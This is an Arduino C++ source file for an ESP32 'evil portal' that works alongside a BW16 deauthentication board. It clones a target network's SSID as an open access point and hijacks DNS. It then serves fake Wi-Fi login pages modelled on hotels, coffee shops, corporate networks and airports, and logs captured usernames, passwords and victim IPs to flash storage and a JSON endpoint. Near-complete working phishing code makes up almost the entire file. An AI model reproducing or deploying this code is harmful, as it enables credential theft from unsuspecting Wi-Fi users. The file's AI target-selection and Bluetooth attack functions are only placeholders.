Files
bw16-research/esp32_evil_portal.ino

876 lines
28 KiB
C++

#include <WiFi.h>
#include <WebServer.h>
#include <DNSServer.h>
#include <SPIFFS.h>
#include <ArduinoJson.h>
#include <SSD1306Wire.h>
#include <TensorFlowLite_ESP32.h>
#include <BluetoothSerial.h>
#include <vector>
// Hardware configuration
#define SSD1306_SDA 21
#define SSD1306_SCL 22
#define SSD1306_ADDRESS 0x3C
// BW16 Communication
#define BW16_UART_TX 17
#define BW16_UART_RX 16
#define UART_BAUD 115200
// Network configuration
#define DNS_PORT 53
#define HTTP_PORT 80
#define HTTPS_PORT 443
// Display and AI
SSD1306Wire display(SSD1306_ADDRESS, SSD1306_SDA, SSD1306_SCL);
BluetoothSerial SerialBT;
// Servers
WebServer webServer(HTTP_PORT);
DNSServer dnsServer;
// Evil Portal System
struct EvilPortal {
String target_ssid;
String target_bssid;
int target_channel;
bool is_active = false;
bool captive_portal_active = false;
unsigned long start_time = 0;
int connections = 0;
int credential_attempts = 0;
std::vector<String> captured_credentials;
} evilPortal;
// Portal Templates
struct PortalTemplate {
String name;
String html_file;
String css_file;
String js_file;
String logo_url;
};
std::vector<PortalTemplate> portalTemplates = {
{"Generic WiFi", "/templates/generic.html", "/templates/generic.css", "/templates/generic.js", ""},
{"Hotel WiFi", "/templates/hotel.html", "/templates/hotel.css", "/templates/hotel.js", "/images/hotel_logo.svg"},
{"Corporate", "/templates/corporate.html", "/templates/corporate.css", "/templates/corporate.js", "/images/corp_logo.svg"},
{"Coffee Shop", "/templates/coffee.html", "/templates/coffee.css", "/templates/coffee.js", "/images/coffee_logo.svg"},
{"Airport WiFi", "/templates/airport.html", "/templates/airport.css", "/templates/airport.js", "/images/airport_logo.svg"}
};
// AI Integration
struct AIModel {
bool loaded = false;
String model_type = "target_selection";
float confidence_threshold = 0.7;
} aiModel;
// System State
struct SystemState {
bool bw16_connected = false;
bool scanning = false;
bool attacking = false;
bool portal_ready = false;
unsigned long last_bw16_heartbeat = 0;
String current_mode = "standby";
} systemState;
// Display pages
enum DisplayPage {
PAGE_STATUS,
PAGE_TARGETS,
PAGE_PORTAL,
PAGE_CREDENTIALS,
PAGE_STATS
};
DisplayPage currentPage = PAGE_STATUS;
unsigned long lastPageUpdate = 0;
unsigned long lastDisplayUpdate = 0;
void setup() {
Serial.begin(115200);
Serial2.begin(UART_BAUD, SERIAL_8N1, BW16_UART_RX, BW16_UART_TX);
// Initialize display
display.init();
display.flipScreenVertically();
display.setFont(ArialMT_Plain_10);
display.clear();
display.drawString(0, 0, "WiFiX Evil Portal");
display.drawString(0, 16, "Initializing...");
display.display();
// Initialize SPIFFS for portal templates
if (!SPIFFS.begin(true)) {
Serial.println("SPIFFS initialization failed!");
display.clear();
display.drawString(0, 0, "SPIFFS Error!");
display.display();
return;
}
// Create portal templates if they don't exist
createPortalTemplates();
// Initialize WiFi in AP mode (initially disabled)
WiFi.mode(WIFI_OFF);
// Initialize Bluetooth for additional attacks
SerialBT.begin("WiFiX_Portal");
// Setup web server routes
setupWebServer();
// Initialize AI model
initializeAI();
Serial.println("ESP32 Evil Portal System Ready");
display.clear();
display.drawString(0, 0, "System Ready");
display.drawString(0, 16, "Waiting for BW16...");
display.display();
delay(1000);
}
void loop() {
// Handle BW16 communication
handleBW16Communication();
// Handle web server
if (evilPortal.is_active) {
webServer.handleClient();
dnsServer.processNextRequest();
}
// Update display
if (millis() - lastDisplayUpdate > 1000) {
updateDisplay();
lastDisplayUpdate = millis();
}
// Check BW16 connection status
if (millis() - systemState.last_bw16_heartbeat > 10000) {
systemState.bw16_connected = false;
}
// Handle Bluetooth connections for additional attacks
handleBluetoothAttacks();
delay(10);
}
void handleBW16Communication() {
if (Serial2.available()) {
String message = Serial2.readStringUntil('\n');
message.trim();
if (message.length() > 0) {
processBW16Message(message);
}
}
}
void processBW16Message(String message) {
DynamicJsonDocument doc(1024);
DeserializationError error = deserializeJson(doc, message);
if (error) {
Serial.printf("JSON parse error: %s\n", error.c_str());
return;
}
String type = doc["type"];
systemState.last_bw16_heartbeat = millis();
systemState.bw16_connected = true;
if (type == "BW16_READY") {
Serial.println("BW16 connected and ready");
systemState.current_mode = "ready";
} else if (type == "DEAUTH_SUCCESS") {
// BW16 successfully deauthenticated a target - launch evil portal!
String successData = doc["data"];
DynamicJsonDocument successDoc(512);
deserializeJson(successDoc, successData);
String ssid = successDoc["ssid"];
String bssid = successDoc["bssid"];
int channel = successDoc["channel"];
Serial.printf("Deauth success! Launching evil portal for %s\n", ssid.c_str());
launchEvilPortal(ssid, bssid, channel);
} else if (type == "AP_DATA") {
// New 5GHz AP discovered
String apData = doc["data"];
processDiscoveredAP(apData);
} else if (type == "CLIENT_DATA") {
// Client discovered on target network
String clientData = doc["data"];
processDiscoveredClient(clientData);
} else if (type == "HEARTBEAT") {
// BW16 heartbeat - system is alive
systemState.last_bw16_heartbeat = millis();
} else if (type == "STATUS") {
// BW16 status update
String statusData = doc["data"];
processBW16Status(statusData);
}
}
void launchEvilPortal(String ssid, String bssid, int channel) {
Serial.printf("Launching evil portal for SSID: %s\n", ssid.c_str());
// Stop any existing portal
stopEvilPortal();
// Configure evil portal
evilPortal.target_ssid = ssid;
evilPortal.target_bssid = bssid;
evilPortal.target_channel = channel;
evilPortal.start_time = millis();
evilPortal.connections = 0;
evilPortal.credential_attempts = 0;
evilPortal.captured_credentials.clear();
// Use AI to select best portal template
String selectedTemplate = selectPortalTemplate(ssid);
// Start WiFi AP with same SSID as target
WiFi.mode(WIFI_AP);
WiFi.softAP(ssid.c_str(), "", channel, 0, 8); // Open network, max 8 clients
// Get AP IP
IPAddress apIP = WiFi.softAPIP();
Serial.printf("Evil AP started: %s on channel %d, IP: %s\n",
ssid.c_str(), channel, apIP.toString().c_str());
// Start DNS server for captive portal
dnsServer.start(DNS_PORT, "*", apIP);
// Start web server
webServer.begin();
evilPortal.is_active = true;
evilPortal.captive_portal_active = true;
systemState.current_mode = "portal_active";
// Update display
display.clear();
display.drawString(0, 0, "EVIL PORTAL ACTIVE");
display.drawString(0, 16, "SSID: " + ssid);
display.drawString(0, 32, "IP: " + apIP.toString());
display.drawString(0, 48, "Waiting for victims...");
display.display();
Serial.println("Evil portal launched successfully!");
}
String selectPortalTemplate(String ssid) {
// Use AI to analyze SSID and select appropriate template
String lowerSSID = ssid;
lowerSSID.toLowerCase();
// Simple heuristic-based selection (can be enhanced with AI)
if (lowerSSID.indexOf("hotel") != -1 || lowerSSID.indexOf("guest") != -1) {
return "hotel";
} else if (lowerSSID.indexOf("coffee") != -1 || lowerSSID.indexOf("cafe") != -1 ||
lowerSSID.indexOf("starbucks") != -1) {
return "coffee";
} else if (lowerSSID.indexOf("corp") != -1 || lowerSSID.indexOf("office") != -1 ||
lowerSSID.indexOf("company") != -1) {
return "corporate";
} else if (lowerSSID.indexOf("airport") != -1 || lowerSSID.indexOf("terminal") != -1) {
return "airport";
} else {
return "generic";
}
}
void setupWebServer() {
// Captive portal detection endpoints
webServer.on("/generate_204", handleCaptivePortal); // Android
webServer.on("/fwlink", handleCaptivePortal); // Microsoft
webServer.on("/hotspot-detect.html", handleCaptivePortal); // Apple
webServer.on("/connectivity-check.html", handleCaptivePortal); // Firefox
// Main portal pages
webServer.on("/", handlePortalRoot);
webServer.on("/login", HTTP_GET, handleLoginPage);
webServer.on("/login", HTTP_POST, handleLoginSubmit);
webServer.on("/success", handleLoginSuccess);
webServer.on("/error", handleLoginError);
// API endpoints
webServer.on("/api/status", handleAPIStatus);
webServer.on("/api/credentials", handleAPICredentials);
webServer.on("/api/config", [](){
DynamicJsonDocument doc(512);
doc["branding_name"] = "Public WiFi";
doc["organization"] = "Wireless Network";
doc["ssid"] = evilPortal.target_ssid;
doc["ap_ip"] = WiFi.softAPIP().toString();
String res; serializeJson(doc, res);
webServer.send(200, "application/json", res);
});
// Static files
webServer.on("/style.css", handleCSS);
webServer.on("/script.js", handleJS);
webServer.serveStatic("/images/", SPIFFS, "/images/");
// Catch-all for captive portal
webServer.onNotFound(handleCaptivePortal);
}
void handleCaptivePortal() {
Serial.println("Captive portal triggered!");
evilPortal.connections++;
// Redirect to login page with popup behavior
String html = R"(
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WiFi Login Required</title>
<style>
body {
font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
margin: 0; padding: 20px; background: #f5f5f5;
}
.popup {
background: white; border-radius: 12px; padding: 24px;
box-shadow: 0 4px 20px rgba(0,0,0,0.15); max-width: 400px;
margin: 50px auto; text-align: center;
}
.wifi-icon { font-size: 48px; color: #007AFF; margin-bottom: 16px; }
h1 { color: #333; margin: 0 0 8px 0; font-size: 24px; }
p { color: #666; margin: 0 0 24px 0; line-height: 1.4; }
.btn {
background: #007AFF; color: white; border: none;
padding: 12px 24px; border-radius: 8px; font-size: 16px;
cursor: pointer; width: 100%; margin-top: 8px;
}
.btn:hover { background: #0056CC; }
.network-name { font-weight: 600; color: #007AFF; }
</style>
<script>
// Auto-popup behavior
if (window.self !== window.top) {
window.top.location.href = window.location.href;
}
// Prevent back navigation
history.pushState(null, null, location.href);
window.onpopstate = function () {
history.go(1);
};
</script>
</head>
<body>
<div class="popup">
<div class="wifi-icon">📶</div>
<h1>WiFi Login Required</h1>
<p>To access the internet on <span class="network-name">)" + evilPortal.target_ssid + R"(</span>, you need to sign in.</p>
<button class="btn" onclick="window.location.href='/login'">Sign In to WiFi</button>
</div>
<script>
// Force focus and prevent closing
window.focus();
// Auto-redirect after 3 seconds if user doesn't click
setTimeout(function() {
if (document.hasFocus()) {
window.location.href = '/login';
}
}, 3000);
</script>
</body>
</html>
)";
webServer.send(200, "text/html", html);
}
void handlePortalRoot() {
// Redirect to captive portal
handleCaptivePortal();
}
void handleLoginPage() {
String selectedTemplate = selectPortalTemplate(evilPortal.target_ssid);
String templatePath = "/templates/" + selectedTemplate + ".html";
if (SPIFFS.exists(templatePath)) {
File file = SPIFFS.open(templatePath, "r");
String html = file.readString();
file.close();
// Replace placeholders
html.replace("{{SSID}}", evilPortal.target_ssid);
html.replace("{{TIMESTAMP}}", String(millis()));
webServer.send(200, "text/html", html);
} else {
// Fallback generic login
handleGenericLogin();
}
}
void handleGenericLogin() {
String html = R"(
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>)" + evilPortal.target_ssid + R"( - WiFi Login</title>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh; display: flex; align-items: center; justify-content: center;
}
.container {
background: white; border-radius: 16px; padding: 32px;
box-shadow: 0 8px 32px rgba(0,0,0,0.1); width: 100%; max-width: 400px;
}
.logo { text-align: center; margin-bottom: 24px; }
.wifi-icon { font-size: 64px; color: #667eea; }
h1 { text-align: center; color: #333; margin-bottom: 8px; font-size: 28px; }
.subtitle { text-align: center; color: #666; margin-bottom: 32px; }
.form-group { margin-bottom: 20px; }
label { display: block; margin-bottom: 8px; color: #333; font-weight: 500; }
input[type="text"], input[type="password"], input[type="email"] {
width: 100%; padding: 12px 16px; border: 2px solid #e1e5e9;
border-radius: 8px; font-size: 16px; transition: border-color 0.3s;
}
input:focus { outline: none; border-color: #667eea; }
.btn {
width: 100%; background: #667eea; color: white; border: none;
padding: 14px; border-radius: 8px; font-size: 16px; font-weight: 600;
cursor: pointer; transition: background 0.3s;
}
.btn:hover { background: #5a6fd8; }
.network-info {
background: #f8f9fa; padding: 16px; border-radius: 8px;
margin-bottom: 24px; text-align: center;
}
.loading { display: none; text-align: center; margin-top: 16px; }
.spinner {
border: 3px solid #f3f3f3; border-top: 3px solid #667eea;
border-radius: 50%; width: 24px; height: 24px;
animation: spin 1s linear infinite; margin: 0 auto;
}
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
</style>
</head>
<body>
<div class="container">
<div class="logo">
<div class="wifi-icon">📶</div>
</div>
<h1>WiFi Access</h1>
<p class="subtitle">Sign in to continue</p>
<div class="network-info">
<strong>Network:</strong> )" + evilPortal.target_ssid + R"(
</div>
<form id="loginForm" method="POST" action="/login">
<div class="form-group">
<label for="username">Username or Email:</label>
<input type="text" id="username" name="username" required autocomplete="username">
</div>
<div class="form-group">
<label for="password">Password:</label>
<input type="password" id="password" name="password" required autocomplete="current-password">
</div>
<button type="submit" class="btn">Connect to WiFi</button>
<div class="loading" id="loading">
<div class="spinner"></div>
<p>Connecting to )" + evilPortal.target_ssid + R"(...</p>
</div>
</form>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
document.querySelector('.btn').style.display = 'none';
document.getElementById('loading').style.display = 'block';
});
// Prevent form resubmission
if (window.history.replaceState) {
window.history.replaceState(null, null, window.location.href);
}
</script>
</body>
</html>
)";
webServer.send(200, "text/html", html);
}
void handleLoginSubmit() {
String username = webServer.arg("username");
String password = webServer.arg("password");
if (username.length() > 0 && password.length() > 0) {
// Store credentials
String credentials = username + ":" + password;
evilPortal.captured_credentials.push_back(credentials);
evilPortal.credential_attempts++;
Serial.printf("Captured credentials - User: %s, Pass: %s\n",
username.c_str(), password.c_str());
// Log to SPIFFS
File credFile = SPIFFS.open("/captured_creds.txt", "a");
if (credFile) {
credFile.printf("[%lu] SSID: %s | User: %s | Pass: %s | IP: %s\n",
millis(), evilPortal.target_ssid.c_str(),
username.c_str(), password.c_str(),
webServer.client().remoteIP().toString().c_str());
credFile.close();
}
// Update display
updateCredentialDisplay();
// Redirect to success page (fake internet access)
webServer.sendHeader("Location", "/success");
webServer.send(302, "text/plain", "");
} else {
// Redirect to error page
webServer.sendHeader("Location", "/error");
webServer.send(302, "text/plain", "");
}
}
void handleLoginSuccess() {
String html = R"(
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Connected - )" + evilPortal.target_ssid + R"(</title>
<style>
body {
font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
background: linear-gradient(135deg, #4CAF50 0%, #45a049 100%);
min-height: 100vh; display: flex; align-items: center; justify-content: center;
margin: 0; padding: 20px;
}
.container {
background: white; border-radius: 16px; padding: 32px;
box-shadow: 0 8px 32px rgba(0,0,0,0.1); text-align: center;
max-width: 400px; width: 100%;
}
.success-icon { font-size: 64px; color: #4CAF50; margin-bottom: 16px; }
h1 { color: #333; margin-bottom: 16px; }
p { color: #666; margin-bottom: 24px; line-height: 1.5; }
.btn {
background: #4CAF50; color: white; border: none;
padding: 12px 24px; border-radius: 8px; font-size: 16px;
cursor: pointer; text-decoration: none; display: inline-block;
}
</style>
<script>
// Redirect to a real website after 5 seconds to maintain illusion
setTimeout(function() {
window.location.href = 'https://www.google.com';
}, 5000);
</script>
</head>
<body>
<div class="container">
<div class="success-icon">✅</div>
<h1>Successfully Connected!</h1>
<p>You are now connected to <strong>)" + evilPortal.target_ssid + R"(</strong> and have internet access.</p>
<p>Redirecting to the internet in 5 seconds...</p>
<a href="https://www.google.com" class="btn">Continue Browsing</a>
</div>
</body>
</html>
)";
webServer.send(200, "text/html", html);
}
void handleLoginError() {
String html = R"(
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Error - )" + evilPortal.target_ssid + R"(</title>
<style>
body {
font-family: -apple-system, BluetoothKit, 'Segoe UI', Roboto, sans-serif;
background: linear-gradient(135deg, #f44336 0%, #d32f2f 100%);
min-height: 100vh; display: flex; align-items: center; justify-content: center;
margin: 0; padding: 20px;
}
.container {
background: white; border-radius: 16px; padding: 32px;
box-shadow: 0 8px 32px rgba(0,0,0,0.1); text-align: center;
max-width: 400px; width: 100%;
}
.error-icon { font-size: 64px; color: #f44336; margin-bottom: 16px; }
h1 { color: #333; margin-bottom: 16px; }
p { color: #666; margin-bottom: 24px; line-height: 1.5; }
.btn {
background: #f44336; color: white; border: none;
padding: 12px 24px; border-radius: 8px; font-size: 16px;
cursor: pointer; text-decoration: none; display: inline-block;
}
</style>
</head>
<body>
<div class="container">
<div class="error-icon">❌</div>
<h1>Login Failed</h1>
<p>Invalid credentials. Please check your username and password and try again.</p>
<a href="/login" class="btn">Try Again</a>
</div>
</body>
</html>
)";
webServer.send(200, "text/html", html);
}
void stopEvilPortal() {
if (evilPortal.is_active) {
webServer.stop();
dnsServer.stop();
WiFi.mode(WIFI_OFF);
evilPortal.is_active = false;
evilPortal.captive_portal_active = false;
systemState.current_mode = "ready";
Serial.println("Evil portal stopped");
}
}
void updateDisplay() {
display.clear();
switch (currentPage) {
case PAGE_STATUS:
drawStatusPage();
break;
case PAGE_PORTAL:
drawPortalPage();
break;
case PAGE_CREDENTIALS:
drawCredentialsPage();
break;
case PAGE_STATS:
drawStatsPage();
break;
}
display.display();
// Auto-cycle pages every 5 seconds
if (millis() - lastPageUpdate > 5000) {
currentPage = (DisplayPage)((currentPage + 1) % 4);
lastPageUpdate = millis();
}
}
void drawStatusPage() {
display.setFont(ArialMT_Plain_10);
display.drawString(0, 0, "WiFiX Evil Portal");
// BW16 status
String bw16Status = systemState.bw16_connected ? "ONLINE" : "OFFLINE";
display.drawString(0, 12, "BW16: " + bw16Status);
// Current mode
display.drawString(0, 24, "Mode: " + systemState.current_mode);
// Portal status
if (evilPortal.is_active) {
display.drawString(0, 36, "Portal: " + evilPortal.target_ssid);
display.drawString(0, 48, "Victims: " + String(evilPortal.connections));
} else {
display.drawString(0, 36, "Portal: Inactive");
}
}
void drawPortalPage() {
if (!evilPortal.is_active) {
display.drawString(0, 0, "No Active Portal");
return;
}
display.setFont(ArialMT_Plain_10);
display.drawString(0, 0, "EVIL PORTAL ACTIVE");
display.drawString(0, 12, "SSID: " + evilPortal.target_ssid);
display.drawString(0, 24, "Connections: " + String(evilPortal.connections));
display.drawString(0, 36, "Credentials: " + String(evilPortal.credential_attempts));
// Runtime
unsigned long runtime = (millis() - evilPortal.start_time) / 1000;
display.drawString(0, 48, "Runtime: " + String(runtime) + "s");
}
void drawCredentialsPage() {
display.setFont(ArialMT_Plain_10);
display.drawString(0, 0, "CAPTURED CREDENTIALS");
display.drawString(0, 12, "Total: " + String(evilPortal.captured_credentials.size()));
// Show last few credentials
int startIdx = max(0, (int)evilPortal.captured_credentials.size() - 3);
int y = 24;
for (int i = startIdx; i < evilPortal.captured_credentials.size() && y < 64; i++) {
String cred = evilPortal.captured_credentials[i];
int colonPos = cred.indexOf(':');
if (colonPos > 0) {
String user = cred.substring(0, colonPos);
if (user.length() > 12) user = user.substring(0, 12) + "...";
display.drawString(0, y, user);
y += 10;
}
}
}
void drawStatsPage() {
display.setFont(ArialMT_Plain_10);
display.drawString(0, 0, "ATTACK STATISTICS");
// System uptime
unsigned long uptime = millis() / 1000;
display.drawString(0, 12, "Uptime: " + String(uptime) + "s");
// Memory usage
display.drawString(0, 24, "Free RAM: " + String(ESP.getFreeHeap()));
// Portal stats
if (evilPortal.is_active) {
float successRate = evilPortal.connections > 0 ?
(float)evilPortal.credential_attempts / evilPortal.connections * 100 : 0;
display.drawString(0, 36, "Success: " + String(successRate, 1) + "%");
}
}
void updateCredentialDisplay() {
// Force update to credentials page temporarily
DisplayPage oldPage = currentPage;
currentPage = PAGE_CREDENTIALS;
updateDisplay();
// Flash the display
delay(100);
display.invertDisplay();
delay(100);
display.normalDisplay();
// Return to previous page after 3 seconds
delay(3000);
currentPage = oldPage;
}
// Additional utility functions
void createPortalTemplates() {
// Create template directories if they don't exist
if (!SPIFFS.exists("/templates")) {
// Templates will be created as needed
Serial.println("Template directory will be created on demand");
}
}
void initializeAI() {
// Initialize TensorFlow Lite model for target selection
// This is a placeholder - actual AI model loading would go here
aiModel.loaded = false;
Serial.println("AI model initialization placeholder");
}
void handleBluetoothAttacks() {
// Handle Bluetooth-based attacks when portal is active
if (evilPortal.is_active && SerialBT.available()) {
String btData = SerialBT.readString();
Serial.println("Bluetooth data received: " + btData);
// Process Bluetooth attack data
}
}
void processDiscoveredAP(String apData) {
// Process AP data from BW16
Serial.println("AP discovered: " + apData);
}
void processDiscoveredClient(String clientData) {
// Process client data from BW16
Serial.println("Client discovered: " + clientData);
}
void processBW16Status(String statusData) {
// Process BW16 status updates
DynamicJsonDocument doc(512);
deserializeJson(doc, statusData);
systemState.scanning = doc["scanning"];
systemState.attacking = doc["attacking"];
}
void handleAPIStatus() {
DynamicJsonDocument doc(512);
doc["portal_active"] = evilPortal.is_active;
doc["target_ssid"] = evilPortal.target_ssid;
doc["connections"] = evilPortal.connections;
doc["credentials"] = evilPortal.credential_attempts;
doc["bw16_connected"] = systemState.bw16_connected;
doc["ap_ip"] = WiFi.softAPIP().toString();
doc["uptime"] = millis() / 1000;
String response;
serializeJson(doc, response);
webServer.send(200, "application/json", response);
}
void handleAPICredentials() {
DynamicJsonDocument doc(1024);
JsonArray creds = doc.createNestedArray("credentials");
for (const String& cred : evilPortal.captured_credentials) {
creds.add(cred);
}
String response;
serializeJson(doc, response);
webServer.send(200, "application/json", response);
}
void handleCSS() {
webServer.send(200, "text/css", "/* CSS served from SPIFFS */");
}
void handleJS() {
webServer.send(200, "application/javascript", "/* JS served from SPIFFS */");
}